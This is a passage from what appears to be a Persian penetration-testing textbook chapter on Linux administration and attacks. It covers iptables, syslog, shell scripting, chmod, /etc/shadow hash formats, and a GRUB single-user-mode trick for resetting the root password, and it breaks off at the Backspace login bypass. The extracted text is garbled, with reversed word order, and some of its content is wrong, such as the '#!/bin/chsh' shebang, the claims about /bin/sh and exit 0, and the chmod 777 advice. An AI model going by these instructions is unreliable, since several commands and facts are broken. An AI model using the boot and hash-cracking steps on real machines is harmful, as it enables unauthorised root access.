 هرچه ،ها اولویت .کند می تعیین را مشخص فرایند یک اولویت .است مفید بسیار nice دستور
 است -20 اولویت حداکثر و 20 اولویت حداقل .باشد می بالاتر اولویت ،باشد کمتری مقدار
 همیشه کاربر هر ،حال این با .کند تعیین را منفی های اولویت تواند می ریشه کاربر یک فقط که
 .است شده داده نشان 10-7 شکل در که دهد، کاهش را خود فرایند های اولویت تواند می
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 Nice دستور با فرایند اولویت تنظیم .10-7 شکل

 

locate. 

 ویروس کلمه دارای که هایی فایل همه دادن قرار یبرا .است مؤثر کاملاً جستجوی ابزار یک
 کنید. می استفاده دستور این از ،فایل نام کجای هر در هستند

locate *virus* 

 .دهد می نشان عمل در را locate ابزار 10-8 شکل
 ذکر اینجا در رایج های پرچم از برخی .دارد وجود نیز پرچم چند ،لینوکس دستورات همه با

 :است شده
 -c کند می شمارش را ها تطابق تعداد ،برشمرد را ها آن همه اینکه جای به. 
 -L کند می دنبال را دار دنباله نمادین پیوندهای. 
 -i گیرد می نادیده را مورد. 
 -l کند می محدود بازگشت برای را نتایج تعداد. 

 ماشین یک روی مختلف های فایل برای جستجو نفوذ کننده تست یک برای که است واضح
 .کرد خواهید استفاده آن از مرتباً زیاد احتمال به که است فرمانی این .باشد می سودمند هدف
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 .locate دستور .10-8 شکل

 

Linux Firewall. 

 زمان گذشت با لینوکس در فایروال ،واقع در .دارد را خود به مخصوص فایروال لینوکس،
 مورد در سپس ،چیست فایروال که کرد هیمخوا بحث ابتدا ،بخش این در .است یافته تکامل
 است دستگاهی یا افزار نرم هر فایروال ،شکل ترین ساده در .کرد خواهیم بحث لینوکس فایروال
 عنوان به .کند مسدود را ترافیک ،معیارها از برخی براساس که شده پیکربندی ای گونه به که
 یک با همراه یا خاص پورت کی در را ورودی ترافیک است ممکن فقط فایروال یک ،مثال

 های ویژگی دارای که را ترافیکی است ممکن فایروال یک و .دهد اجازه خاص پروتکل
 های عامل سیستم اکثر .کند مسدود ،شود می ناشی خاص IP آدرس یک از یا است خاصی
 های توزیع واقع در .هستند فایروال های قابلیت از برخی دارای مدرن روترهای اکثر مانند مدرن

 برای فایروال یک عنوان به که باشد می گونه بدین ها آن عملکرد تنها که دارد وجود لینوکسی
 .کنند می کار شبکه کل
 را شبکه به دسترسی و کند می عمل (gateway) دروازه یک عنوان به ابتدا فایروال اساساً
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 (NAT) شبکه رسآد ترجمه ابزار یا سرور پروکسی یک عنوان به اغلب سپس .کند می تسهیل
 ها فایروال البته .کند می فراهم را خارج جهان و شبکه بین مرزبندی نقطه یک این .کند می عمل
 را ها آن همه ،باشد نمی ها فایروال درباره کتاب این موضوع که آنجا از و دارند مختلفی انواع
 ای بسته بازرسی و هبست کننده فیلتر ،فایروال رایج کلاس دو ،حال این با .کرد نخواهیم کاوش
 :است شده داده شرح اینجا در که است
 کننده فیلتر (بسته Packet filtering) : آیا تا شود می بررسی بسته هر هدر ،فایروال نوع این با 
 باشد می این به مربوط معمولاً قوانین این .خیر یا دارد مطابقت فایروال برای شده تنظیم قوانین با
 برای IP های آدرس همچنین و دارند را شبکه به ورود اجازه هایی کلپروت و ها پورت چه که

 شکل ترین ساده بسته کننده فیلتر فایروال .چیست سیستم به ورود از شدن ومسدود جلوگیری
 .است فایروال

 بسته بازرسی حالت ( Stateful packet inspection) : هدر تنها نه فایروال ،رویکرد این با 
 های بسته متن در را بسته همچنین .کند می بررسی نیز را بسته داده موارد بیشتر رد بلکه فعلی بسته
 فایروال از تر قوی فایروال این .گیرد می نظر در اند، شده ارسال IP آدرس همان از که قبلی
 .باشند می بسته کننده فیلتر

 که ها فایروال از بسیاری .باشد می ترین رایج مورد دو این اما ،دارند نیز دیگری انواع ها فایروال
 ساده های بسته کننده فیلتر های فایروال ،لینوکس یا ویندوز مانند ،هستند عامل سیستم دارای
 یک عنوان به واضح طور به که لینوکس های توزیع مانند ،تر پیشرفته های فایروال .هستند
 .دکنن می استفاده مناسب های بسته فیلتر از اند، شده پیکربندی فایروال

 

Iptables. 

 این .داشت نام ipchains ،بود دسترس در لینوکس برای گسترده طور به که فایروال اولین
 و لینوکس هسته 2.2 نسخه در بار اولین .داشت نیز هایی محدودیت اما ،کرد می کار محصول

ipfwadm اکنون .شد ارائه آن جایگزین iptables باشد می لینوکس برای اصلی فایروال. 
 شد. معرفی لینوکس 2.4هسته در بار اولین برای iptables یسسرو
 اما .شود می نصب usr / sbin / iptables/ صورت به iptables ،لینوکس های سیستم اکثر در
-9 شکل در توانید می که کنید اضافه را آن بعد مراحل در توانید می ،نبود موجود نصب در اگر
 .کنید مشاهده 10
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 iptables .10-9 شکل

 

 و زنجیرها ،جداول :است شده تشکیل مختلف (Object) شی نوع سه از iptables فایروال
 زنجیره هر .باشد می قوانین از هایی زنجیره حاوی جدول هر . (tables, chains, rulesقوانین)
 و دارد وجود جدول سه واقع در .کند می مجاز را ها بسته که دهد می نشان را قوانین سری یک
 قوانین توانید می البته .هستند استاندارد قانون های زنجیره برخی دارای ها آن از امکد هر

 ها: آن استاندارد زنجیره و جدول سه .کنید اضافه را خود به بوط مر سفارشی
 بسته فیلترکننده (هاPacket filtering) : فیلترکننده فایروال یک جدول این که است بدیهی 

 ،INPUT :باشد می استاندارد زنجیره سه دارای و است فایروال سیاسا قسمت و باشد می بسته
OUTPUT، FORWARD. زنجیره توسط شوند می وارد شبکه به که هایی بسته INPUT 
 .شوند می پردازش OUTPUT زنجیره توسط شبکه از شده ارسال ترافیک و شوند می پردازش
 های بسته برای FORWARD جیرهزن فقط ،کند عمل روتر عنوان به نیز فایروال سیستم اگر

 .شود می اعمال مسیریابی
 شبکه آدرس ترجمه (Network address translation) : ترافیک برای جدول این 

 را شبکه آدرس ترجمه روند .کند می آغاز را جدیدی اتصال که شود می استفاده خروجی
 های بسته افتدری محض به آن PREROUTING زنجیره در موجود قوانین .کند می تسهیل
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 از پس است قرار که هایی بسته برای POSTROUTING زنجیره و مسیریابی برای فایروال
 اصلاح برای مسیریابی از قبل OUTPUT زنجیره قوانین .شوند می اعمال ،شوند خارج مسیریابی

 .شود می اعمال محلی تولید های بسته در
 بسته تغییر (Packet alteration) : استفاده بسته تخصصی تغییر برای طفق جدول این از 
 خرد یا دهد می تغییر را ها بسته زیرا شود می نامیده Mangle جدول اغلب جدول این .شود می
 برای و دارد نام PREROUTING زنجیره اولین .است استاندارد زنجیره دو شامل که کند می

 های بسته اصلاح برای OUTPUT نام به دیگر زنجیره .باشد می مسیریابی از قبل ها بسته اصلاح
 از بسیاری برای است ممکن حتی جدول این .شود می استفاده شبکه داخل در شده تولید
 .نباشد نیاز مورد استاندارد های فایروال

  iptables پیکربندی
 نگاهی بیایید .دارد نیاز ها پیکربندی از برخی به iptables ،زنید می حدس احتمالاً که طور همان
 .بیندازیم پیکربندی اصلی و اساسی مسائل از برخی به

 نیاز دستورات این به ،کند عمل بسته کننده فیلتر اصلی فایروال عنوان به iptables اینکه برای
 :دارید

iptables -F 

iptables -N block 

iptables -A block -m state --state 

ESTABLISHED,RELATED -j ACCEPT 

 .باشد می iptables پیکربندی ترین ضروری و رینت اساسی این که است بدیهی
 :iptables جاری قوانین کردن لیست برای

iptables -L 

 :22 پورت SSH از استفاده با مثال این در ،خاص پورت یک در ارتباط به دادن اجازه برای
iptables -A INPUT -p tcp --dport ssh -j ACCEPT 

 :کنید مجاز را http/ وب دیورو ترافیک همه که باشد لازم شاید یا
iptables -A INPUT -p tcp --dport 80 -j ACCEPT 

 :دهد می انجام را کار این زیر دستور .است خوبی ایده یافته کاهش های بسته log همچنین
iptables -I INPUT 5 -m limit --limit 5/min -j LOG --

log-prefix "iptables denied: --log-level 7 
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 iptables دستور به توانند می که دارد وجود (flags) هایی پرچم ،کنید می مشاهده که طور همان
 :است شده آورده دهند می انجام ها آن آنچه و ها پرچم ترین رایج از لیستی زیر در .شوند منتقل

 -A کند می اضافه قوانین زنجیره یک به را قانون این. 
 -L کند می لیست را جاری فیلتر قوانین. 
 -p است شده برده کار به اتصال پروتکل. 
 --dport یا شود داده منفرد پورت یک دارد احتمال .قانون این نیاز مورد مقصد (های) پورت 

 .شود ارائه start: end عنوان به محدوده یک
 --limit سپس و عددی صورت به ،قانون طبق دفعات تعداد به باتوجه ،تطبیق میزان حداکثر "/ 

 داده”second,” “/minute,” “/hour,” or “/day/“ "روز /" یا "ساعت /" ،"دقیقه /" ،"ثانیه
 ”.hour/3“ فر  پیش ،شود استفاده m limit– از و نشود استفاده گزینه این از اگر .شود می
 .باشد می
 --ctstate کند می تعریف قانون طبق را حالات از لیستی. 
 --log-prefixبرای .دهد می قرار لاگ پیام از قبل را متن این ی(،نگار واقعه لاگین) هنگام 

 .شود استفاده متن اطراف در دوگانه (quotes) های قول نقل از استفاده
--log-level Log سطح از استفاده با لاگ syslog شده مشخص. 

-i طریق از بسته که شود می بندی بسته صورتی در فقط (واسطInterface) وارد شده مشخص 
 .شود
 -v خروجی Verbose  
 -s --source آدرس [/ mask] منبع مشخصات. 
 -d --destination: آدرس [/ mask] مقصد مشخصات. 
 -o --out-interface: [ شبکه واسط نام ]+[ خروجی نام+[( برای wildcard) . 
 تدستورا با وقتی .هستند ها پرچم ترین رایج اینها اما ،نیست جامع لیست یک این کلی طور به

 در را iptables تا باشد مناسب شما برای باید ،شود ترکیب لیست از قبل شده داده پیکربندی
 .کنید اجرا خود سیستم
 .دهند می ارائه iptables با کار برای اضافی ابزارهای لینوکس های توزیع از برخی

-usr / bin / redhat/ در موجود GUI پیکربندی ابزار یک شامل Red Hat ،مثال عنوان به 

config-securitylevel شده پیکربندی قبل از فایروال انتخاب برای تواند می که باشد می 
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 .شود استفاده (فایروال بدون یا متوسط فایروال ،بالا فایروال)
 .کرد خواهیم بررسی را اساسی امنیتی خدمات از دیگر برخی ،بعدی بخش در
 

Syslog. 

syslog واقعه یا (نگاریLogging) تمسیس، daemon ها فایل لاگ برای را سیستم رویدادهای 
 دایمن واقعی نام .شوند می یافت var / log/ دایرکتوری در معمولاً ها فایل این .کند می ضبط

klogd اساساً .است syslog / klogd واقعه و ردیابی برای ابزاری (نگاریLogging) تمام 
 توصیفی برچسب دو دارای syslog به شده لارسا سیستمی پیام هر .باشد می سیستم های پیام

 ایجاد را نگاری واقعه رویداد این که را اپلیکیشن کارکرد برچسب اولین .باشد می آن با مرتبط
 شدت سطح هشت .کند می توصیف را پیام شدت دوم برچسب .کند می توصیف ،است کرده
 .است شده داده نشان 1-10 جدول در که دارد وجود

 
 Syslog شدت طحس .1-10 جدول

 

 افتاده پا پیش مواردی ،5 سطح مانند (،severity) شدت سطوح از برخی که کنید می مشاهده
 باید 4 تا 0 شدت هرسطح با موارد ،حال این با .نیستند فوری دغدغه یک ادمین برای و هستند
 ذخیره var / log / messages/ فایل در معمولاً ها پیام این .باشد مدیر هر برای ای دغدغه
 این دارد وجود سیستم خطای وقت هر که باشد می صورت بدین ای محتاطانه ایده .شوند می
 یابی عیب در عالی قدم اولین تواند می یابید می اینجا در که هایی پیام .کنید بررسی را فایل

 توانند می که هستند هایی مکان اینها ،نفوذ تست دیدگاه از و .باشد سیستمتان مشکلات
 .کنند بررسی را توجه مورد نقض های نهنشا
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 عمل یک تنها متمرکز سرور یک به خود سیستم های پیام ارسال پس ،دارید سرور چندین اگر
 ردیابی ،مرکزی syslog سرور یک به سرورها تمام نگاری واقعه با .است مناسب امنیتی
 دسترسی سرورهایتان از یکی به نفوذگر اگر ،همچنین .شود می تر آسان سرورها همه از ها لاگ
 را ها آن مسیرهای ،سیستم آن syslog از ها داده حذف با بخواهد است ممکن ،کند پیدا

 دور راه از های گیرنده سرویس از را هایی پیام ندارد انتظار syslog ،فر  پیش طور به .بپوشاند
 به باید .کنید یپیکربند کار این برای را خود سیستم توانید می راحتی به اما ،کند دریافت
 را پیکربندی فایل .دهید تغییر را آن syslog پیکربندی و رفته کند می دریافت پیام که سروری
 به (مهاجم یا) نفوذ کننده تست یک اگر .کنید پیدا / etc / sysconfig / syslog در توانید می
 سیستم به (Logging) ها نگاری واقعه تمام توانند می ،کند پیدا دسترسی syslog پیکربندی فایل
 .کنند خاموش را

 متغیر باید ،دهد گوش را دور راه از های پیام بتواند سرور اینکه برای
SYSLOGD_OPTIONS شامل فایل این در -r این مانند ،باشد: 

SYSLOGD_OPTIONS="-m 0 -r" 

 :این مثل یا
SYSLOGD="-r" 

 اکنون سرور .کنید (restart) مجدد یانداز راه سرور در را syslog باید تغییرات اعمال برای
 netstat دستور از استفاده با توانید می که ،کند می UDP 514 پورت به دادن گوش به شروع
 .کنید تأیید را آن
 

Syslogd. 

 واقعه مخصوصا ،دهد می ارائه را نگاری واقعه که باشد می daemon از بخشی پوسته ابزار این
 فراهم را syslog در اطلاعات لاگ توانایی که است یزیچ همان سرویس این .هسته نگاری
 :کنید تنظیم توانید می که دارد گزینه چند syslogd ،دارید انتظار که طور همان .کند می
 -a به دادن گوش برای اضافی های سوکت توانید می کار این با syslog daemon کنید اضافه. 

 ،کنند می تیهدا یمرکز سرور کی به را دخو syslog امیپ که دیدار یگرید یسرورها اگر
 .است دیمف
 -d این daemon اشکال حالت در را (زداییdebugging) دهد می امکان شما به ،کند می اجرا 

 .کنید مشاهده لایو صورت به پوسته در را مسائل
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-h های پیام دهد می امکان شما به گزینه این syslogd یدهست آن در که دستگاهی / سرور از را 
 .کنید هدایت متمرکز سرور یک به
 -r های پیام دریافت برای مرکزی سرور در گزینه این از توانید می syslogd دیگر سرورهای از 

 از را هایی پیام دهد می امکان آن به که دهد می قرار حالتی در را daemon این .کنید استفاده
 .کند دریافت شبکه
 -s لاگ برای گزینه این daemon حالت به verbose در جزئیات مقدار این .شود می استفاده 

 .دهد می افزایش را ها لاگ
 h- ویژه به ،هستند ها پرکاربردترین از برخی ها گزینه این اما ،دارد وجود نیز دیگری های گزینه
 .s- و

 شما ،حمله منظر از .است نفوذ کنندگان تست برای ای مسئله نگاری واقعه که است بدیهی
 خواهید می ،امنیتی تست منظر از .خیر یا شود می ثبت حملاتتان آیا که بدانید یدخواه می

 .دارد وجود اینها که کنید حاصل اطمینان
 

  (Scripting) نویسی اسکریپت

 های تست تا ،بنویسند را خودشان های اسکریپت خواهند می نفوذ کنندگان تست بیشتر سرانجام
 سنتی نویسی برنامه به شبیه بسیار اسکریپت نوشتن .کنند خودکار صورت به را خود علاقه مورد
 های تفاوت ،حال این با .شود انجام Java یا ++ C، C مانند زبانهایی در است ممکن که است
 را اسکریپت یک شما که باشد می صورت بدین تفاوت مهمترین و اول .دارد توجهی قابل

 ،نویسید می خود دلخواه متن ویرایشگر در را خود اسکریپت کد سادگی به .کنید نمی کامپایل
 ابزار یا افزاری نرم ابزار به اسکریپت نوشتن ،ثانیاً .کنید می اجرا را آن لزوم صورت در سپس
 ترجیح که متنی ویرایشگر هر از توانید می شد گفته قبلاً که طور همان .ندارد نیاز خاصی
 نیاز :دارد سنتی نویسی برنامه با مشترک وجه یک اسکریپت نوشتن اما .کنید استفاده دهید می
 ،اهمیت بی حتی ،اسکریپت در خطایی هرگونه .مناسب (structure و syntaxساختار) و نحو به

 .داد خواهد تغییر شدت به را شما اسکریپت خروجی یا کند می غیرفعال را شما اسکریپت
 یا Kate، Kwrite از نیدتوا می .نوشت اصلی متن ویرایشگر هر در توان می را ها اسکریپت
 به اسکریپت یک نوشتن هنگام باید که ای مسئله اولین .کنید استفاده دیگر متنی ویرایشگر
 به) شوند می نوشته خاصی پوسته برای کلی طور به ها اسکریپت که است این باشید داشته خاطر
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 استاندارد یک از ها پوسته همه ،دلیل همین به . (غیره و BASH، C shell، Korn مثال عنوان
 اجرا ای پوسته نوع چه در که کند می اعلام اسکریپت خط اولین که برخوردارند شده توافق
 اگر ،مثال عنوان به .شد خواهد استفاده اسکریپت اجرای برای پوسته آن از سپس .شود می
 :بود خواهد زیر صورت به شما خط اولین ،شود اجرا C پوسته با اسکریپتی خواهید می

#!/bin/chsh 

 :شود اجرا BASH در شما اسکریپت دارید تمایل اگر
#! /bin/sh 

 به .است استاندارد روش یک myscript.sh مانند sh.پسوند با اسکریپت یک ذخیره همچنین
 را اسکریپت این Linux در متن ویرایشگران از بسیاری ،sh.پسوند با آن کردن ذخیره محض
 پوسته دستورات ،مثال عنوان به .کنند می بندی فرمت آن با متناسب را متن و دهند می تشخیص

 رنگ در اسکریپت دستورات و دیگری رنگ در (commentsنظرات) ،فونت و رنگ یک در
 :بگیرید نظر در را اولیه اسکریپت این .بود خواهند دیگری فونت و

#!/bin/sh 

hostname 

who 

exit 0 

 هر از یستیل و (hostname زبانیم نام) است اجرا لحا در آن در که ای انهیرا زبانیم نام این
 اسکریپت از سپس (،who کسی چه) است شده وارد سرور آن در حاضر حال در که کاربر
 برای که کنید مشاهده اسکریپت اول خط از توانید می همچنین . (exit 0) شود می خارج

BASH، با باید ها اسکریپت همه که باشید داشته توجه .است شده نوشته پوسته ترین رایج exit 

 .یابد پایان اسکریپت که باشد می نحوی)سینتکس( این .برسند پایان به 0
 .دید خواهید را خاص دایرکتوری آن محتوای ،کنید اجرا دایرکتوری آن در را ls دستور اگر
 رد ییاجرا لیفا کی خودکار طور به shپسوند. با یلیفا هر ،نوکسیل های عیتوز از یبرخ در
 اجرا قابل تا دیده رییتغ را لیفا دیبا ،OpenSUSE مانند موارد، ریسا در شود. می گرفته نظر
 است: ساده دستور کی مثال نیا باشد.

chmod 777 myscript.sh 

 ای نشانه نیا .شود می سبز شما پتیاسکر لیفا که دید دیخواه ،دیکن اجرا را ls اگر آن، از پس
 است. اجرا قابل که است
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 دستور نیا .میپرداخت آن به 9 فصل در که ،کند می مطرح را chmod دستور خود موضوع ،تهالب
 یکاربر دهنده نشان عدد سه نیا .دیکن اصلاح را فایل هر یمجوزها دهد می امکان شما به

 میخواست می فقط اگر مثال، یبرا ،نیبنابرا همه. ای یفعل گروه دارد، اریاخت در را فایل که است
 مینوشت می کند، اجرا را پتیاسکر نیا بتواند یاصخ کاربر

chmod 700 myscript.sh 

 :میکن فراهم را هیگرو یاجرا به یدسترس میخواست می اگر عو ، در
chmod 070 myscript.sh 

 شامل: مجوزها .باشد می کامل اجازه نشانگر 7 عدد 
 No Permission اشتنند مجوز 0
 Execute کردن اجرا 1
 Write نوشتن 2
 Read خواندن 4
 ستیل دهند. می را اجرا و نوشتن اجازه 1 و 2 مثال، عنوان به کرد. بیترک را ها آن توان می اما

 نیا ،دیکن بیترک هم با را اجرا و نوشتن خواندن، اگر .است شده بیان ریز در مجوزها کامل
 . (دیکن جمع واندنخ یبرا را 4 و نوشتن، یبرا را 2 اجرا، یبرا را 1 )فقط بود خواهد 7 عدد
 no permissions مجوز بدون 0 
 Execute only کردن اجرا فقط 1 
 Write only نوشتن فقط 2 
 Write and execute کردن اجرا و نوشتن 3 
 Read only خواندن فقط 4 
 Read and execute کردن اجرا و خواندن 5 
 Read and write نوشتن و خواندن 6 
 Full control کامل کنترل 7 

 اسدت.  دهیرسد  فرا پتیاسکر یاجرا زمان ،کردید درک را لیفا یمجوزها و chmod که اکنون
 پوسته نوع از بعد ،گرید پتیاسکر هر ای نیا یاجرا یبرا

bash myscript.sh 

 کند: می اجرا را خاص پوسته دستور دو پتیاسکر حالت نیا در شود. می اجرا تانپتیاسکر و
hostname و who. 
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 .دیکن مشاهده 10-10 شکل در را آن دینتوا یم

 
 .پتیاسکر یاجرا .10-10 شکل

 

 های روش شما به حال، نیا با است. محدود کاربرد با ساده اسکریپت کی نیا که است یهیبد
 پتیاسکر نیا دهد. می نشان را آن یاجرا و پتیاسکر کی نوشتن یبرا شده استفاده بنیادی
 )البته دستورات یسر کی است، شده نوشته ای پوسته چه یراب نکهیا یبرا مناسب شناسه یدارا
 کی نیا گرچه است. (terminating/exit) خروج / خاتمه کد و کوتاه( یهایرس یک
 دهد. می ها پتیاسکر همه نوشتن نحوه یبرا ییالگو شما به ولی ،باشد می ساده پتیاسکر
 .دیباش داشته نوشتن یبرا مرتبط جمله نیچند است ممکن خود، اسکریپت در اوقات یبعض
 یبرا ای را کار نیا دیتوان می .دیده قرار خط کی در را ها آن همه باشید داشته تمایل دیشا

 هر به .دیده انجام هستند، هم با که یدستورات یمنطق یبند دسته یبرا ای فضا در ییجو صرفه
 را دستور هر ،کنید می اهدهمش نجایا در که طور همان است. ساده اریبس عواق در آن انجام ،یلیدل
 :دیکن می تفکیک مجزا صورت به کالن( )سمی رگولیو نقطه کی با خط یرو

statement one; statement two; statement three 

 سپس .دیکن پیتا آن در را ریز موارد و کرده باز را خود علاقه مورد متن شگریرایو دیتوان یم
 .دیکن اجرا و کرده رهیخذ scriptmultiple.sh عنوان به را آن

#!/bin/bash 

ls; ps;who;logname; 

exit 0 
 خط کی یرو را دستور هر نکهیا مثل درست ،دیکن می اجرا را فوق اسکریپت که یهنگام

 و دهند می انجام را کار نیا نویسان اسکریپت از یاریبس کند. می کار دیده قرار جداگانه
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 من .کرد دیخواه مشاهده ها ادمین ریسا توسط شده وشتهن های پتیاسکر در را کار نیا احتمالاً
 من، عقیده به باشد. آسان آن کردن دنبال و خواندن تا هستم یکد هر نوشتن طرفدار شهیهم
 کند. نمی لیتسه را خواندن یبرا آسان پتیاسکر کی خط، کی در دستور نیچند دادن قرار

 دهند. انجام یادیز یکارها توانند می ها پتیاسکر (،shell) پوسته دستور نیچند یاجرا از فراتر
 آن یخروج تا دیکن بیترک پوسته دستورات با را خاص های کاراکتر دیتوان می مثال، عنوان به

 است. دستور کی با wildcard از استفاده آن مثال ترین رایج کند. رییتغ دستور

Wildcard چند شود. می استفاده یکاراکتر هر دادن نشان یبرا که است یکاراکتر Wildcard 
 سمیبنو اگر مثلاً شود. می استفاده ها اسکریپت در که دارد وجود

ls *.sh 

 آن در موجود یکاراکترها تعداد گرفتن نظر در بدون کنم می درخواست (shell) پوسته از من
 نیرابناب کند. ستیل را (پتیاسکر فایل هر مثال عنوان )به شود می ختم shبه. که یلیفا هر ،لیفا
 استفاده wildcard ?از اگر ،گرید طرف از کند. می ستیل را پتیاسکر های فایل دستور نیا

 ستیل سوال های علامت تعداد با برابر یکاراکترها تعداد با را هایی فایل فقط دستور سپس ،کنم
 سمیبنو اگر پس کند. می

ls ???.sh 

 کده  (پتیاسدکر  هدر  مثدال  عندوان  )بده  دشو می ختم shبه. که را یلیفا هر خواهم می پوسته از من
 کند. ستیل ،دارد یکاراکتر سه فایل نام کی

 مانند: کنم، جستجو را حروف از یعیوس فیط توانم می نیهمچن
ls myscript[123].jpg 

 هدر  مثدال  عندوان  )بده  شدوند  مدی  ختم shبه. که را یلیفا هر خواهم می پوسته از من حالت نیا در
 شدود،  خدتم  3 اید  2 ،1 بده  سدپس  و شدروع  myscript با باشد فایل نام کی یدارا که (پتیاسکر

 کند. ستیل
 :نیا مانند کرد، جستجو را حروف محدوده توان می نیهمچن

ls [a-d,A-D]*.txt 

 حروف حالت ای a–d کوچک حروف حالت با که را یسند هر که دیگو می پوسته به نیا
 کند. دایپ شود، شروع A-D بزرگ

 یبرا) rm دستو مثال، عنوان به هستند. استفاده قابل ls از ریغ یدستورات با ها wildcard نیا
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 در کند. حذف wildcard اختصاصات بر مبتنی را ها فایل تواند می نیهمچن (فایل کی حذف
 است: شده آورده wildcard از استفاده با بنیادی پتیاسکر کی نجایا

#!/bin/sh 

ls *.txt 

ls [a-m]???.sh 

ls ??.txt 

exit 0 

 میکدرد  بحدث  آن مورد در تاکنون آنچه یضرور موارد اما است ساده اریبس اسکریپت کی نیا
 دهد. می ارائه را موجود wildcard از یستیل 2-10 جدول دهد. می نشان را
 

 Wildcards .2-10جدول 

Wildcard Purpose 

* 

 sh.* مثال، عنوان به است. کاراکتر تعداد هر یا و ،کاراکتر هر یواقع یمعنا به
 تعداد گرفتن نظر در بدون ،باشد می فایل هر ای پوسته، هر یمعنا به

 .شود می ختم shپسوند. به که نام، در موجود یکاراکترها

? 
 تمام یمعنا به txt.???? مثال، عنوان به است. کاراکتر کی دهنده نشان
 .دارند یکاراکتر چهار نام که است یمتن های فایل

 .است ینف ای نه، یمعنا به !

[abc] 

 اسدت  موجدود  آن در شدده  ذکدر  های کاراکتر از کی هر که است یمعن بدان
 c اید  a، b بدا  کده  باشدد  می یمتن های فایل تمام یمعنا به txt.???[abc] نیبنابرا
 .دارد وجود کاراکتر سه آن از پس و شوند می شروع

[a-m] 

 به txt.??[a-l] نیبنابرا است. شده داده نشان محدوده در کاراکتر هر یمعن به
 آن دنبال به و شود می شروع e تا a از حرف چند با که است یلیفا هر یمعنا
 .دیآ می حرف دو

 

 Linux عبور رمزهای
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 خواهیم تر دقیق نگاهی اکنون .شدید آشنا لینوکس عبور رمزهای با خلاصه طور به 9 فصل در
 از etc/shadow/ فایل به ابتدا ،ستا شده داده نشان 10-11 شکل در که طور همان .داشت

Kali Linux کنیم نگاه خودم کامپیوتر. 
 بررسی را مورد این دهید اجازه .دارند حساب نیز مختلف های سرویس که کنید توجه اول
 یک خط هر که است بدیهی ،اول .کنید درک کنید می مشاهده که را آنچه بتوانید تا کنیم
 هر .دارد وجود ها انسان بعلاوه سرویس های حساب ربرانکا همچنین و باشد می مجزا کاربر
 .شود می جدا هم از کالن( ) نقطه دو یک توسط فیلد
 تواند می عبور رمز ،لینوکس نسخه به بسته ،اکنون .است عبور رمز دوم و کاربری نام فیلد اولین
 شانن شما به لینوکس های نسخه از برخی .شود ذخیره شده رمزگذاری یا هش صورت به
 :دارد وجود ورود رمز با ای شناسه .باشد می ورژن کدام که دهد می

1. $1$ is MD5. 
2. $2a$ or $2y$ is Blowfish. 
3. $5$ is SHA-256. 
4. $6$ is SHA-512. 
 

 
 etc/shadow/ فایل .10-11 شکل
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  Linux های نسخه همه در نه البته دارد وجود بعدی فیلدهای سپس
 .عبور رمز تغییرات بین نیاز مورد روزهای تعداد داقلح : (Minimumحداقل) 
 مجبور کاربر آن از پس) عبور رمز اعتبار روزهای تعداد حداکثر : (Maximumحداکثر) 

 . (دهد تغییر را خود عبور رمز شود می
 داده کاربرهشدار به که عبور رمز انقضای از قبل مانده روزهای تعداد : (Warn) هشدار 

 .دهد تغییر باید را خود عبور رمز که شود می
 .است شده غیرفعال حساب عبور رمز انقضا از پس روزهای تعداد : (Inactiveغیرفعال) 
 در .است (disabled) افتاده کار از حساب که 1970 ژانویه 1 از روزهایی : (Expire) انقضا 

 استفاده گین(ورود)لا از است ممکن زمانی چه کند می مشخص که مطلق تاریخ یک یعنی واقع
 .نشود
 ،نفوذ تست هنگام .شود می داده نمایش ::سپس ،باشد نداشته وجود ای داده فیلدی در اگر

 موارد سیستم این در عبور رمزهای امنیت مورد در شما به که باشد می ضروری فایل این بررسی
 را هش آن خواهید می ،باشد شده ذخیره هش عنوان به رمزعبور اگر .کند می مطرح را زیادی
 از بسیاری) کنید اجرا (Rainbow tablesکمان) رنگین مختلف جدولهای طریق از و گرفته
 خود عبور رمز توانید می آیا که کنید مشاهده تا (کنید پیدا آنلاین صورت به توانید می را ها آن
 .کنید استخراج را
 

  (Linux Hacking Tricks) لینوکس هک ترفندهای

 این باید .کند نمی کار همیشه هکری ترفند هیچ که بدانید باید کتاب این از قسمت این در
 دیگر بعضی روی و ،کرد خواهد کار ها سیستم از بعضی روی که باشید داشته توجه را موضوع
 که سیستمی روی آیا کنید مشاهده تا کنید امتحان را ترفندها این ،نفوذ تست در .کند نمی کار
 پیشنهاد را اصلاح مراحل پس ،شود انجام کار این اگر .خیر ای دهد می جواب کنید می تست
 امتحان لینوکس سیستم در توانید می که را هک اساسی ترفندهای از برخی ،بخش این در .کنید
 .کرد خواهیم بررسی ،کنید
 از حتی ،لینوکس هک ترفندهای از نفوذ کننده تست یک که است شایسته ،حال این با

 لینوکس که نیست معمول غیر .کند امتحان را ها آن و داشته آگاهی ،میقدی بسیار راهکارهای
 لینوکس قدیمی نسخه یافتن .نشود روز به مرتباً و شود استفاده منظوره یک سرور یا دستگاه در
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 وظیفه ،نفوذ کننده تست یک عنوان به و باشد، نمی غیرمعمول اصلاً نشده روز به است مدتی که
 .کنید پیدا بیابد، را ها پذیری آسیب مهاجم، یک اینکه از قبل را ها ریپذی آسیب این که شماست

 
  (Boot Hack) بوت هک

 ایجاد ای وقفه اندازی راه فرایند در توانید می ،است شدن( )بوت آمدن بالا حال در سیستم وقتی
 امانج کار این بوت هنگام در کلید هر دادن فشار با ،لینوکس های توزیع از برخی در .کنید
 توزیع برای را وقفه ،اینترنت در باید) است خاص کلید یک این دیگر برخی در .شود می

 انتخاب برای) دهد قرار اختیارتان در را GRUB منوی باید این . (کنید جستجو خود لینوکس
 مشاهده 10-12 شکل در را GRUB منوی توانید می . (شود می استفاده شدن بوت برای سیستم
 .کنید

 
 GRUB منو .10-12 شکل

 

 خط مثل خطی چنین اگر) شود ویرایش (kernel) هسته با خط تا دهید فشار را e کلید اکنون
 (دهید انجام سیستم این روی را هک این توانید نمی دیگر ،صورت این غیر در ؛ شد ظاهر فوق
 که شود می باعث این .کنید اضافه خط آن انتهای به 1 آن دنبال به و خالی فضای یک اکنون .

 .باشد می ویندوز برای امن حالت شبیه که ،شوید سیستم وارد کاربر تک حالت عنوان به شما
 روشی هر ،واقع در .کنید استفاده root عبور رمز تغییر برای passwd دستور از توانید می اکنون
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 برای را گزینه این (init 1 از استفاده برای تلاش حتی) برساند کاربر تک حالت به را شما که
 فوق ،باشد کارساز اگر .کنید استفاده passwd دستور از کنید سعی که کند می فراهم شما
 .داشت نخواهد کارایی ها سیستم از بسیاری در اما .است العاده
 

Backspace Hack. 

 کردند کشف را اشکالی محققان از برخی .داشت شدت بسیار هکری مجامع در 2015 سال در
 احراز از ،backspace کلید بار 28 دادن فشار با اندازی راه هنگام داد می هاجاز مهاجم به که

